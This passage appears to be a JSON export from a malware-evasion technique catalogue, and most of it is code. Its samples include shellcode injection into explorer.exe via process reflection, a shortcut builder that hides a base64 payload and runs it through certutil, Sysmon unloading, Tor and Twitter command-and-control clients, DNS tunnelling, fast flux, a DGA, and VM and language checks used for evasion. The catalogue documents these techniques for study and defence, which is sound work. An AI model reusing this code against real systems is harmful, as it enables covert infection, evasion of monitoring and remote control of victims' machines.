PID {}: ERROR {}\", victimPid, GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << std::format(\"[+] Allocated space for shellcode in start address: {}\", baseAddress) << std::endl;\r\n\r\n\t//write shellcode\r\n\tsize_t bytess = 0;\r\n\r\n\tbool status = WriteProcessMemory(victimHandle, baseAddress, shellcode, sizeof(shellcode), &bytess);\r\n\tif (!status)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error writing shellcode with WriteProcessMemory on Explorer.exe : ERROR {}\", GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << \"[+] Succesfuly wrote shellcode to victim. about to start the Mirroring\" << std::endl;\r\n\r\n\r\n\tHMODULE lib = LoadLibraryA(\"ntdll.dll\");\r\n\tif (!lib)\r\n\t{\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tRtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(lib, \"RtlCreateProcessReflection\");\r\n\tif (!RtlCreateProcessReflection)\r\n\t{\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };\r\n\tNTSTATUS reflectRet = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, baseAddress, nullptr, NULL, &info);\r\n\tif (reflectRet == STATUS_SUCCESS) {\r\n\t\tstd::cout << \"[+] Succesfully Mirrored to new PID: \" << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"[!] Error Mirroring: ERROR \" << GetLastError() << std::endl;\r\n\t}\r\n\r\n\treturn reflectRet;\r\n}"
},
{
"id": 165,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/15/?format=api",
"description": "In this code, we use the open function to attempt to open the \\\\.\\pipe\\cuckoo named pipe for reading. If the named pipe exists and can be opened, the open function will return a file descriptor greater than or equal to zero. In this case, we conclude that we are running on a virtual machine, and we print a message indicating this. If the named pipe does not exist, the open function will return a negative value, and we conclude that we are running on a physical machine. In both cases, we print a message indicating the type of machine we are running on.",
"plain_code": "#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <fcntl.h>\r\n\r\nint main()\r\n{\r\n // Attempt to open the Cuckoo named pipe\r\n int fd = open(\"\\\\\\\\.\\\\pipe\\\\cuckoo\", O_RDONLY);\r\n if (fd >= 0) {\r\n // The named pipe exists, so we are running on a virtual machine\r\n printf(\"We are running on a virtual machine.\\n\");\r\n close(fd);\r\n } else {\r\n // The named pipe does not exist, so we are running on a physical machine\r\n printf(\"We are running on a physical machine.\\n\");\r\n }\r\n\r\n return 0;\r\n}"
},
{
"id": 164,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/17/?format=api",
"description": "In this code, we use inline assembly to execute the SIDT instruction, which retrieves the value of the IDTR and stores it in the idtr variable. We then check the value of the idtr variable, and if it is non-zero, we conclude that we are running on a virtual machine. In both cases, we print a message indicating the type of machine we are running on. Note that this code is for demonstration purposes only and may not work on all systems.",
"plain_code": "#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include <inttypes.h>\r\n\r\nint main()\r\n{\r\n // Retrieve the value of the IDTR\r\n uint64_t idtr;\r\n asm volatile (\r\n \"sidt %0\"\r\n : \"=m\" (idtr)\r\n );\r\n\r\n // Check the value of the IDTR\r\n if (idtr != 0) {\r\n // We are running on a virtual machine\r\n printf(\"We are running on a virtual machine.\\n\");\r\n } else {\r\n // We are running on a physical machine\r\n printf(\"We are running on a physical machine.\\n\");\r\n }\r\n\r\n return 0;\r\n}"
},
{
"id": 163,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/101/?format=api",
"description": "In this code, the `IsLanguageInstalled` function is used to check if the specified language, indicated by its LCID (Language Code Identifier), is installed on the system. In this case, the malware could check the languages installed on a Windows machine and not run if Russian is present.",
"plain_code": "#include <Windows.h>\r\n#include <winreg.h>\r\n\r\n#define LANG_KEY \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Nls\\\\Language\"\r\n#define RUSSIAN_LCID 1049\r\n\r\n// Check if the specified LCID is installed on the system\r\nbool IsLanguageInstalled(LCID lcid)\r\n{\r\n HKEY hKey;\r\n if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, LANG_KEY, 0, KEY_READ, &hKey) == ERROR_SUCCESS)\r\n {\r\n DWORD dwIndex = 0;\r\n WCHAR szValueName[32];\r\n DWORD dwValueNameLen = sizeof(szValueName);\r\n while (RegEnumValue(hKey, dwIndex++, szValueName, &dwValueNameLen, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)\r\n {\r\n LCID lcidValue = _wtoi(szValueName);\r\n if (lcidValue == lcid)\r\n {\r\n RegCloseKey(hKey);\r\n return true;\r\n }\r\n }\r\n RegCloseKey(hKey);\r\n }\r\n return false;\r\n}\r\n\r\nint main()\r\n{\r\n if (IsLanguageInstalled(RUSSIAN_LCID))\r\n {\r\n // Russian language is installed, do not run malware\r\n return 0;\r\n }\r\n else\r\n {\r\n // Russian language is not installed, run malware\r\n // ...\r\n }\r\n return 0;\r\n}"
},
{
"id": 162,
"language": {
"id": 7,
"label": "cmd",
"code_class": "cmd"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/123/?format=api",
"description": "The pcalua.exe utilities is used to execute a malicious PowerShell script (.ps1) .",
"plain_code": "C:\\> pcalua.exe -run \"C:\\malicious-script.ps1\""
},
{
"id": 161,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/135/?format=api",
"description": "The code uses the Windows API to open a registry key and create a new value within that key. The value is set to a binary data type, which could be used to store the malware itself. This code would need to be compiled and executed on a system to hide the malware in the registry.",
"plain_code": "#include <Windows.h>\r\n\r\nint main()\r\n{\r\n // Open the registry key where the malware will be hidden\r\n HKEY hKey;\r\n RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\MyMalware\", 0, KEY_WRITE, &hKey);\r\n \r\n // Create a new value in the registry key to store the malware\r\n DWORD dwValue = 1;\r\n RegSetValueEx(hKey, \"HiddenValue\", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(dwValue));\r\n \r\n // Close the registry key\r\n RegCloseKey(hKey);\r\n \r\n // Return success\r\n return 0;\r\n}"
},
{
"id": 160,
"language": {
"id": 11,
"label": "JavaScript",
"code_class": "Javascript"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/145/?format=api",
"description": "In this example, a new div element is created and inserted into the webpage using JavaScript. The div contains a link to a malicious website and an image from that website, which would be displayed as an ad on the page. Of course, in a real-world scenario, the code would be more complex and obfuscated to avoid detection.",
"plain_code": "// Code to insert malicious ad onto webpage\r\nvar adElement = document.createElement(\"div\");\r\nadElement.innerHTML = \"<a href='http://malicious-site.com'><img src='http://malicious-site.com/malicious-ad.jpg' /></a>\";\r\ndocument.body.appendChild(adElement);"
},
{
"id": 159,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/137/?format=api",
"description": "This code uses the dnslib and socket modules to create and send a DNS query for the specified domain name to a DNS server. It then receives a DNS response from the server, modifies the response to include the IP addresses of the compromised hosts that will act as proxies, and sends the modified response back to the client.\r\n\r\nThis code simulates the operation of a DNS server that is being used for fast flux. In a real-world scenario, the DNS server would be under the control of the botnet, and the domain name and proxy addresses would be generated dynamically.",
"plain_code": "import dnslib\r\nimport socket\r\n\r\n# Replace with the IP address of the DNS server\r\ndns_server = \"8.8.8.8\"\r\n\r\n# Replace with the domain name that you control\r\ndomain_name = \"example.com\"\r\n\r\n# Replace with the IP addresses of the compromised hosts that will act as proxies\r\nproxy_addresses = [\"10.0.0.1\", \"10.0.0.2\", \"10.0.0.3\"]\r\n\r\n# Create a DNS query for the domain name\r\nquery = dnslib.DNSRecord.question(domain_name)\r\n\r\n# Send the DNS query to the DNS server\r\ndns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ndns_socket.sendto(query.pack(), (dns_server, 53))\r\n\r\n# Receive the DNS response from the DNS server\r\nresponse = dnslib.DNSRecord.parse(dns_socket.recv(4096))\r\n\r\n# Modify the DNS response to include the IP addresses of the compromised hosts\r\nresponse.add_answer(*dnslib.RR.fromZone(\"example.com A \" + \" \".join(proxy_addresses)))\r\n\r\n# Send the modified DNS response to the client\r\ndns_socket.sendto(response.pack(), (client_address, client_port))"
},
{
"id": 158,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/138/?format=api",
"description": "This code uses the random and datetime modules to generate a random number using the current date and time as a seed. It then constructs a domain name by concatenating the base domain name with the generated number. Finally, it prints the generated domain name.\r\n\r\nNote that this is just an example, and there are many different ways that a DGA could be implemented. In a real-world scenario, the malware would use the generated domain name to communicate with its command and control server, and the domain name would be generated periodically using a pseudorandom number generator.",
"plain_code": "import random\r\nimport datetime\r\n\r\n# Replace with the base domain name that you control\r\nbase_domain = \"example.com\"\r\n\r\n# Get the current date and time\r\ndate = datetime.datetime.now()\r\n\r\n# Generate a random number using the date and time as a seed\r\nrandom.seed(date)\r\nnumber = random.randint(0, 1000000)\r\n\r\n# Generate a domain name using the base domain and the random number\r\ndomain_name = str(number) + \".\" + base_domain\r\n\r\n# Print the generated domain name\r\nprint(domain_name)"
},
{
"id": 157,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/140/?format=api",
"description": "This code uses the dnslib and socket modules to encode the specified data as a base64 string and send it as a DNS query to the specified DNS server. The DNS query uses the domain name and subdomain that the attacker controls, with the encoded data as the subdomain label. The code then receives a DNS response from the server, decodes the data payload, and prints it.",
"plain_code": "import dnslib\r\nimport socket\r\n\r\n# Replace with the IP address of the DNS server\r\ndns_server = \"8.8.8.8\"\r\n\r\n# Replace with the domain name and subdomain that you control\r\ndomain_name = \"example.com\"\r\nsubdomain = \"tunnel\"\r\n\r\n# Replace with the data that you want to transfer\r\ndata = b\"hello\"\r\n\r\n# Encode the data as a base64 string\r\nencoded_data = base64.b64encode(data)\r\n\r\n# Create a DNS query with the encoded data as the subdomain label\r\nquery = dnslib.DNSRecord.question(subdomain + \".\" + domain_name)\r\n\r\n# Send the DNS query to the DNS server\r\ndns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ndns_socket.sendto(query.pack(), (dns_server, 53))\r\n\r\n# Receive the DNS response from the DNS server\r\nresponse = dnslib.DNSRecord.parse(dns_socket.recv(4096))\r\n\r\n# Decode the DNS response and extract the data payload\r\ndecoded_data = base64.b64decode(response.rr[0].rdata.label)\r\n\r\n# Print the decoded data\r\nprint(decoded_data)"
},
{
"id": 156,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/141/?format=api",
"description": "",
"plain_code": "import subprocess\r\n\r\n# Replace with the IP address of the rogue DNS server\r\nrogue_dns_server = \"10.0.0.1\"\r\n\r\n# Get the current DNS server settings\r\ncurrent_dns_servers = subprocess.check_output([\"netsh\", \"interface\", \"ip\", \"show\", \"dnsservers\"])\r\n\r\n# Modify the DNS server settings to point to the rogue DNS server\r\nsubprocess.call([\"netsh\", \"interface\", \"ip\", \"add\", \"dnsservers\", \"Wi-Fi\", rogue_dns_server])\r\n\r\n# Confirm that the DNS server settings have been changed\r\nnew_dns_servers = subprocess.check_output([\"netsh\", \"interface\", \"ip\", \"show\", \"dnsservers\"])\r\nif new_dns_servers"
},
{
"id": 155,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/142/?format=api",
"description": "This code uses the stem library to connect to the Tor control port and authenticate with the control password. It then creates a new circuit to the specified C&C server and resolves its address using stem.util.connection.resolve_address(). The code then establishes a connection to the C&C server over the Tor network and sends and receives data from it.",
"plain_code": "import stem\r\nimport stem.connection\r\nimport stem.util.system\r\n\r\n# Replace with the address of your C&C server\r\ncc_server = \"xyzabc123.onion\"\r\n\r\n# Connect to the Tor control port\r\ncontrol_socket = stem.socket.ControlPort(port = 9051)\r\n\r\n# Authenticate with the Tor control port\r\nstem.connection.authenticate_password(control_socket, control_password)\r\n\r\n# Start a new circuit to the C&C server\r\ncircuit_id = stem.control.Controller.from_port(port = 9051).new_circuit(path = [], await_build = True)\r\n\r\n# Resolve the C&C server's address\r\ncc_server_ip = stem.util.connection.resolve_address(cc_server)\r\n\r\n# Connect to the C&C server\r\ncc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ncc_socket.connect((cc_server_ip, 80))\r\n\r\n# Send data to the C&C server\r\ncc_socket.sendall(b\"hello\")\r\n\r\n# Receive data from the C&C server\r\ndata = cc_socket.recv(1024)"
},
{
"id": 154,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/143/?format=api",
"description": "This code creates a simple server that listens for incoming connections on port 8000. When a new connection is accepted, the client is added to a list of clients. The server then receives data from the client and sends it to all of the other clients in the list. This allows the clients to communicate with each other in a peer-to-peer fashion, without the need for a central server.\r\n\r\nNote that this is just an example, and there are many different ways that a P2P network could be used for a botnet's C&C. This code should not be used in production without further testing and security measures.",
"plain_code": "import socket\r\n\r\n# Create a socket for the server\r\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n# Bind the socket to a local address\r\nserver_socket.bind((\"0.0.0.0\", 8000))\r\n\r\n# Listen for incoming connections\r\nserver_socket.listen()\r\n\r\n# Create a list to store the clients\r\nclients = []\r\n\r\nwhile True:\r\n # Accept incoming connections\r\n client_socket, client_address = server_socket.accept()\r\n\r\n # Add the client to the list of clients\r\n clients.append(client_socket)\r\n\r\n # Receive data from the client\r\n data = client_socket.recv(1024)\r\n\r\n # Iterate over the clients and send the data to each of them\r\n for client in clients:\r\n client.sendall(data)"
},
{
"id": 153,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/144/?format=api",
"description": "This code uses the tweepy library to access the Twitter API and search for tweets containing the specified keyword (in this case, #command). It then iterates over the resulting tweets and checks for specific commands, such as run and update. You can replace the code in the if and elif blocks with your own code to execute the corresponding commands.\r\n\r\nNote that this is just an example, and there are many different ways that Twitter could be used as a C&C channel. This code should not be used in production without further testing and security measures.",
"plain_code": "import tweepy\r\n\r\n# Replace with your Twitter API keys\r\nconsumer_key = \"YOUR_CONSUMER_KEY\"\r\nconsumer_secret = \"YOUR_CONSUMER_SECRET\"\r\naccess_key = \"YOUR_ACCESS_KEY\"\r\naccess_secret = \"YOUR_ACCESS_SECRET\"\r\n\r\n# Authenticate with Twitter\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_key, access_secret)\r\napi = tweepy.API(auth)\r\n\r\n# Search for tweets with the specified keyword\r\ntweets = api.search(\"#command\")\r\n\r\n# Iterate over the tweets and execute the commands\r\nfor tweet in tweets:\r\n command = tweet.text.split(\" \")[1]\r\n if command == \"run\":\r\n # Run the specified command\r\n # Replace with your code here\r\n pass\r\n elif command == \"update\":\r\n # Update the malware\r\n # Replace with your code here\r\n pass"
},
{
"id": 152,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/98/?format=api",
"description": "The original message is first encoded using the ROL algorithm and the defined rotation value. The encoded message is then printed to the screen. The same rotation value is then used to decode the encoded message, resulting in the original message. This example demonstrates how the ROL algorithm can be used to encode and decode messages in a simple and easily reversible way.",
"plain_code": "# Define the original message to be encoded\r\nmessage = \"Hello, world!\"\r\n\r\n# Define the rotation value\r\nrotation_value = 3\r\n\r\n# Encode the message using the ROL algorithm and the defined rotation value\r\nencoded_message = \"\"\r\nfor char in message:\r\n if char.isalpha():\r\n encoded_message += chr((ord(char) - ord(\"A\") + rotation_value) % 26 + ord(\"A\"))\r\n else:\r\n encoded_message += char\r\n\r\n# Print the resulting encoded message\r\nprint(encoded_message)\r\n\r\n# Decode the encoded message using the ROL algorithm and the same rotation value\r\ndecoded_message = \"\"\r\nfor char in encoded_message:\r\n if char.isalpha():\r\n decoded_message += chr((ord(char) - ord(\"A\") - rotation_value) % 26 + ord(\"A\"))\r\n else:\r\n decoded_message += char\r\n\r\n# Print the resulting decoded message\r\nprint(decoded_message)"
},
{
"id": 151,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/99/?format=api",
"description": "In this code, the cryptography module is imported and used to generate a new encryption key. The key is then used to encrypt the original message using the Fernet algorithm, resulting in an encrypted message. The encrypted message is then printed to the screen. The same key is then used to decrypt the encrypted message, resulting in the original message. This example demonstrates how cryptography can be used to secure the transmission of sensitive information. In the context of malware, this technique could be used to encrypt the payload or communication channels in order to avoid detection and analysis.",
"plain_code": "# Import the cryptography module\r\nfrom cryptography.fernet import Fernet\r\n\r\n# Generate a new encryption key\r\nkey = Fernet.generate_key()\r\n\r\n# Define the original message to be encrypted\r\nmessage = \"Hello, world!\"\r\n\r\n# Encrypt the message using the Fernet algorithm and the generated key\r\nfernet = Fernet(key)\r\nencrypted_message = fernet.encrypt(message.encode('utf-8'))\r\n\r\n# Print the resulting encrypted message\r\nprint(encrypted_message)\r\n\r\n# Decrypt the encrypted message using the Fernet algorithm and the same key\r\ndecrypted_message = fernet.decrypt(encrypted_message)\r\n\r\n# Print the resulting decrypted message\r\nprint(decrypted_message.decode('utf-8'))"
},
{
"id": 150,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/100/?format=api",
"description": "The original message is first encrypted using a custom XOR encryption algorithm. The encrypted message is then encoded using a custom Base64 algorithm. The resulting encoded message is then printed to the screen. This encoded message can then be decrypted and decoded using the same custom algorithms in order to access the original message. This example demonstrates how a malware author could use custom encoding schemes to conceal their payloads.",
"plain_code": "# Define the original message to be encoded\r\nmessage = \"Hello, world!\"\r\n\r\n# Encrypt the message using a custom XOR encryption algorithm\r\nencrypted_message = \"\"\r\nfor i in range(len(message)):\r\n encrypted_message += chr(ord(message[i]) ^ 0x5)\r\n\r\n# Encode the encrypted message using a custom Base64 algorithm\r\nencoded_message = \"\"\r\nbase64_chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\nfor i in range(0, len(encrypted_message), 3):\r\n b1 = ord(encrypted_message[i])\r\n b2 = ord(encrypted_message[i + 1]) if i + 1 < len(encrypted_message) else 0\r\n b3 = ord(encrypted_message[i + 2]) if i + 2 < len(encrypted_message) else 0\r\n\r\n c1 = b1 >> 2\r\n c2 = ((b1 & 0x3) << 4) | (b2 >> 4)\r\n c3 = ((b2 & 0xf) << 2) | (b3 >> 6)\r\n c4 = b3 & 0x3f\r\n\r\n encoded_message += base64_chars[c1] + base64_chars[c2] + base64_chars[c3] + base64_chars[c4]\r\n\r\n# Print the resulting encoded message\r\nprint(encoded_message)"
},
{
"id": 149,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/95/?format=api",
"description": "The original message is first converted to binary format using the string data type. The key is also converted to binary format using the same type. The XOR operation is then performed on the binary message using the binary key. The resulting ciphertext is then concatenated to a string and printed to the screen. This ciphertext can then be decrypted using the same key to access the original message.",
"plain_code": "#include <iostream>\r\n#include <string>\r\n\r\nusing namespace std;\r\n\r\nint main()\r\n{\r\n // Define the key to use for the XOR operation\r\n string key = \"mysecretkey\";\r\n\r\n // Define the original message to be encrypted\r\n string message = \"Hello, world!\";\r\n\r\n // Convert the key and message to binary format\r\n string binary_key = key;\r\n string binary_message = message;\r\n\r\n // Perform the XOR operation on the binary message using the binary key\r\n string ciphertext = \"\";\r\n for (int i = 0; i < binary_message.length(); i++)\r\n {\r\n ciphertext += binary_message[i] ^ binary_key[i % binary_key.length()];\r\n }\r\n\r\n // Print the resulting ciphertext\r\n cout << ciphertext << endl;\r\n\r\n return 0;\r\n}"
},
{
"id": 148,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/95/?format=api",
"description": "The original message is first converted to binary format using the `encode()` method. The key is also converted to binary format using the same method. The XOR operation is then performed on the binary message using the binary key. The resulting ciphertext is then printed to the screen. This ciphertext can then be decrypted using the same key to access the original message.",
"plain_code": "# Define the key to use for the XOR operation\r\nkey = \"mysecretkey\"\r\n\r\n# Define the original message to be encrypted\r\nmessage = \"Hello, world!\"\r\n\r\n# Convert the key and message to binary format\r\nbinary_key = key.encode('utf-8')\r\nbinary_message = message.encode('utf-8')\r\n\r\n# Perform the XOR operation on the binary message using the binary key\r\nciphertext = bytearray(len(binary_message))\r\nfor i in range(len(binary_message)):\r\n ciphertext[i] = binary_message[i] ^ binary_key[i % len(binary_key)]\r\n\r\n# Print the resulting ciphertext\r\nprint(ciphertext)"
},
{
"id": 147,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/102/?format=api",
"description": "This Python script can be used to create a Windows shortcut with an embedded file. The script takes two arguments: the file to embed and the name of the generated shortcut. The script first creates a Windows shortcut using the `winshell` module. The shortcut is configured to run a command that will decode the embedded file and then execute it. The script then encodes the file to be embedded using the base64 module and appends the encoded data to the shortcut file in the form of a certificate. Finally, the script prints the name of the generated shortcut to the screen. When the shortcut is clicked, the embedded file will be extracted and executed, allowing the malware to run on the system.",
"plain_code": "#!/usr/bin/env python3\r\n\r\n# Requirements:\r\n# -> pip install pypiwin32\r\n# -> pip install winshell\r\n\r\nimport argparse\r\nimport base64\r\nimport os\r\nimport pathlib\r\nimport random\r\nimport string\r\n\r\nimport winshell\r\n\r\n\r\ndef build_shortcut(file_to_embed, shortcut_name):\r\n output_shortcut = \"{}{}.lnk\".format(\r\n os.path.join(pathlib.Path(__file__).parent.resolve(), ''),\r\n shortcut_name,\r\n ) \r\n\r\n with winshell.shortcut(output_shortcut) as shortcut: \r\n # @echo off & (for %i in (.lnk) do certutil -decode %i [filename]) & start [filename].exe\r\n payload = \"@echo off&(for %i in (*.lnk) do certutil -decode %i {0}.exe)&start {0}.exe\".format(\r\n \"\".join(random.choice(string.ascii_letters) for i in range(8))\r\n ) \r\n\r\n shortcut.description = \"\"\r\n shortcut.show_cmd = \"min\"\r\n shortcut.working_directory = \"\"\r\n shortcut.path = \"%COMSPEC%\"\r\n\r\n shortcut.arguments = \"/c \\\"{}\".format(\r\n payload,\r\n )\r\n\r\n shortcut.icon_location = (\"%windir%\\\\notepad.exe\", 0)\r\n\r\n with open(file_to_embed, \"rb\") as file:\r\n encoded_content = base64.b64encode(file.read())\r\n\r\n with open(output_shortcut, \"ab\") as file:\r\n file.write(b\"-----BEGIN CERTIFICATE-----\")\r\n file.write(encoded_content)\r\n file.write(b\"-----END CERTIFICATE-----\")\r\n\r\n print(\"[+] Shortcut generated: \\\"{}\\\"\".format(output_shortcut))\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=f\"Create Windows Shortcut with Self-Extracting Embedded File.\")\r\n\r\n parser.add_argument('-f', '--embed-file', type=str, dest=\"embed_file\", required=True, help=\"File to inject in shortcut.\")\r\n\r\n parser.add_argument('-n', '--shorcut-name', type=str, dest=\"shortcut_name\", required=True, help=\"Generated shortcut name.\")\r\n\r\n try:\r\n argv = parser.parse_args() \r\n except IOError as e:\r\n parser.error() \r\n\r\n build_shortcut(argv.embed_file, argv.shortcut_name)\r\n\r\n print(\"[+] Done.\")"
},
{
"id": 146,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/182/?format=api",
"description": "This code uses the `LoadLibrary()` and `GetProcAddress()` functions to load the Sysmon driver and get the address of its `Unload()` function. It then calls the `Unload()` function to unload the driver, which will cause Sysmon to stop recording events and thus evade detection by Sysmon. After the driver has been unloaded, the malware can proceed with its malicious actions without being monitored by Sysmon.",
"plain_code": "// Load the Sysmon driver\r\nHMODULE hModule = LoadLibrary(\"sysmondrv\");\r\n\r\n// Check if the driver was loaded successfully\r\nif (hModule != NULL)\r\n{\r\n // Get the address of the driver's Unload() function\r\n PFN_UNLOAD pfnUnload = (PFN_UNLOAD) GetProcAddress(hModule, \"Unload\");\r\n\r\n // Check if the Unload() function was found\r\n if (pfnUnload != NULL)\r\n {\r\n // Call the Unload() function to unload the driver\r\n pfnUnload();\r\n\r\n // The Sysmon driver has been unloaded\r\n // Malware can now proceed with its malicious actions without being monitored by Sysmon\r\n // ...\r\n }\r\n}"
},
{
"id": 145,
